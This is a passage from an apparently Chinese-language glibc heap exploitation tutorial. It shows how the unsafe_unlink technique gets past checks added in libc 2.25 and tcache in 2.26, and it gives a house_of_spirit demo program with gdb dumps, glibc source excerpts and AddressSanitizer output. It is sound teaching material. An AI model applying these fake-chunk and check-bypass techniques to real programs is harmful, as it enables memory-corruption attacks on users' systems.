最后看一点新的东西libc-2.25 在 unlink 的开头增加了对 chunk_size == next->prev->chunk_size 的检查,以对抗单字节溢出的问题。补丁如下:

$ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c 
commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30
Author: DJ Delorie <dj@delorie.com>
Date:   Fri Mar 17 15:31:38 2017 -0400

    Further harden glibc malloc metadata against 1-byte overflows.
    
    Additional check for chunk_size == next->prev->chunk_size in unlink()
    
    2017-03-17  Chris Evans  <scarybeasts@gmail.com>
    
            * malloc/malloc.c (unlink): Add consistency check between size and
            next->prev->size, to further harden against 1-byte overflows.

diff --git a/malloc/malloc.c b/malloc/malloc.c
index e29105c372..994a23248e 100644
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -1376,6 +1376,8 @@ typedef struct malloc_chunk *mbinptr;
 
 /* Take a chunk off a bin list */
 #define unlink(AV, P, BK, FD) {                                            \
+    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
+      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
     FD = P->fd;                                                                      \
     BK = P->bk;                                                                      \
     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    \

具体是这样的:

/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p)         ((p)->mchunk_size)
/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Bits to mask off when extracting size  */
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

回顾一下伪造出来的堆:

gef➤  x/40gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x602010:	0x0000000000000000	0x0000000000000000  <-- fake chunk P
0x602020:	0x0000000000601058	0x0000000000601060      <-- fd, bk pointer
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000080	0x0000000000000090  <-- chunk 1 <-- prev_size
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1  <-- top chunk
0x602130:	0x0000000000000000	0x0000000000000000

这里有三种办法可以绕过该检查:

  • 什么都不做。
    • chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0
    • prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0
  • 设置 chunk0_ptr[1] = 0x8
    • chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8
    • prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8
  • 设置 chunk0_ptr[1] = 0x80
    • chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80
    • prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80

好的,现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步libc-2.26 怎么利用,首先当然要先知道它新增了哪些漏洞缓解措施,其中一个神奇的东西叫做 tcache这是一种线程缓存机制每个线程默认情况下有 64 个大小递增的 bins每个 bin 是一个单链表,默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的,所以在释放 chunk 1 的时候,chunk0_ptr 仍然指向正确的堆地址,而不是之前的 chunk0_ptr = P = P->fd。为了解决这个问题,一种可能的办法是给填充进特定大小的 chunk 把 bin 占满,就像下面这样:

    // deal with tcache
    int *a[10];
    int i;
    for (i = 0; i < 7; i++) {
        a[i] = malloc(0x80);
    }
    for (i = 0; i < 7; i++) {
        free(a[i]);
    }
gef➤  p &chunk0_ptr 
$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>
gef➤  x/gx 0x555555755070
0x555555755070 <chunk0_ptr>:    0x00007fffffffdd0f
gef➤  x/gx 0x00007fffffffdd0f
0x7fffffffdd0f: 0x4242424242424242

现在 libc-2.26 版本下也成功利用了。tcache 是个很有趣的东西,更详细的内容我们会在专门的章节里去讲。

加上内存检测参数重新编译,可以看到 heap-buffer-overflow

$ gcc -fsanitize=address -g unsafe_unlink.c 
$ ./a.out 
The global chunk0_ptr is at 0x602230, pointing to 0x60c00000bf80
The victim chunk we are going to corrupt is at 0x60c00000bec0

Fake chunk fd: 0x602218
Fake chunk bk: 0x602220

=================================================================
==5591==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000beb0 at pc 0x000000400d74 bp 0x7ffd06423730 sp 0x7ffd06423720
WRITE of size 8 at 0x60c00000beb0 thread T0
    #0 0x400d73 in main /home/firmy/how2heap/unsafe_unlink.c:26
    #1 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #2 0x400968 in _start (/home/firmy/how2heap/a.out+0x400968)

0x60c00000beb0 is located 16 bytes to the left of 128-byte region [0x60c00000bec0,0x60c00000bf40)
allocated by thread T0 here:
    #0 0x7fc9261c4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400b12 in main /home/firmy/how2heap/unsafe_unlink.c:13
    #2 0x7fc925d8282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

house_of_spirit

#include <stdio.h>
#include <stdlib.h>

int main() {
    malloc(1);

    fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
    unsigned long long *a, *b;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "The first one:  %p\n", &fake_chunks[0]);
    fprintf(stderr, "The second one: %p\n", &fake_chunks[4]);

    fake_chunks[1] = 0x20; // the size
    fake_chunks[5] = 0x1234; // nextsize

    fake_chunks[2] = 0x4141414141414141LL;
    fake_chunks[6] = 0x4141414141414141LL;

    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
    b = malloc(0x10);
    fprintf(stderr, "malloc(0x10): %p\n", b);
    b[0] = 0x4242424242424242LL;
}
$ gcc -g house_of_spirit.c 
$ ./a.out 
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
The first one:  0x7ffc782dae00
The second one: 0x7ffc782dae20
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7ffc782dae00.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc782dae00, which will be 0x7ffc782dae10!
malloc(0x10): 0x7ffc782dae10

house-of-spirit 是一种 fastbins 攻击方法,通过构造 fake chunk然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址即任意我们可控的区域。house-of-spirit 是一种可以同时控制栈和堆溢出的方法。利用的第一步不是去控制一个 chunk而是控制传给 free 函数的指针,将其指向一个被 fake chunk。所以 fake chunk 的伪造是关键。

首先 malloc(1) 用于初始化内存环境,然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的需要一个传递给 free 函数的可以被修改的指针,无论是通过栈溢出还是其它什么方式:

gef➤  x/10gx &fake_chunks 
0x7fffffffdcb0:	0x0000000000000000	0x0000000000000020  <-- fake chunk 1
0x7fffffffdcc0:	0x4141414141414141	0x0000000000000000
0x7fffffffdcd0:	0x0000000000000001	0x0000000000001234  <-- fake chunk 2
0x7fffffffdce0:	0x4141414141414141	0x0000000000000000
gef➤  x/gx &a
0x7fffffffdca0:	0x0000000000000000

伪造 chunk 时需要绕过一些检查,首先是标志位,PREV_INUSE 位并不影响 free 的过程,但 IS_MMAPPED 位和 NON_MAIN_ARENA 位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 2*SIZE_SZ即大于16小于 av->system_mem即小于128kb才能绕过对 next chunk 大小的检查。

libc-2.23 中这些检查代码如下:

void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  [...]
  p = mem2chunk (mem);

  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      [...]
      munmap_chunk (p);
      return;
    }

  ar_ptr = arena_for_chunk (p);     // 获得 chunk 所属 arena 的地址
  _int_free (ar_ptr, p, 0);         // 当 IS_MMAPPED 为零时调用
}

mem 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换:

/* conversion from malloc headers to user pointers, and back */

#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))

NON_MAIN_ARENA 为零时返回 main arena

/* find the heap and corresponding arena for a given ptr */

#define heap_for_ptr(ptr) \
  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

这样,程序就顺利地进入了 _int_free 函数:

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */

  [...]
  size = chunksize (p);

  [...]
  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */

  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
      {
        [...]
	    errstr = "free(): invalid next size (fast)";
	    goto errout;
      }

    [...]
    set_fastchunks(av);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    [...]
    do
      {
    [...]
	p->fd = old2 = old;
      }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

其中下面的宏函数用于获得 next chunk

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))

然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置,即上面提到的 mem。然后将其传递给 free 函数,这时程序就会误以为这是一块真的 chunk然后将其释放并加入到 fastbin 中。

gef➤  x/gx &a
0x7fffffffdca0:	0x00007fffffffdcc0
gef➤  x/10gx &fake_chunks 
0x7fffffffdcb0:	0x0000000000000000	0x0000000000000020  <-- fake chunk 1 [be freed]
0x7fffffffdcc0:	0x0000000000000000	0x0000000000000000
0x7fffffffdcd0:	0x0000000000000001	0x0000000000001234  <-- fake chunk 2
0x7fffffffdce0:	0x4141414141414141	0x0000000000000000
0x7fffffffdcf0:	0x0000000000400820	0x00000000004005b0
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x7fffffffdcc0, size=0x20, flags=) 

这时如果我们 malloc 一个对应大小的 fast chunk程序将从 fastbins 中分配出这块被释放的 chunk。

gef➤  x/10gx &fake_chunks 
0x7fffffffdcb0:	0x0000000000000000	0x0000000000000020  <-- new chunk
0x7fffffffdcc0:	0x4242424242424242	0x0000000000000000
0x7fffffffdcd0:	0x0000000000000001	0x0000000000001234  <-- fake chunk 2
0x7fffffffdce0:	0x4141414141414141	0x0000000000000000
0x7fffffffdcf0:	0x0000000000400820	0x00000000004005b0
gef➤  x/gx &b
0x7fffffffdca8:	0x00007fffffffdcc0

所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。

加上内存检测参数重新编译,可以看到问题所在,即尝试 free 一块不是由 malloc 分配的 chunk

$ gcc -fsanitize=address -g house_of_spirit.c 
$ ./a.out 
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
The first one:  0x7fffa61d6c00
The second one: 0x7fffa61d6c20
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00.
Freeing the overwritten pointer.
=================================================================
==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0
    #0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24
    #2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8)

参考资料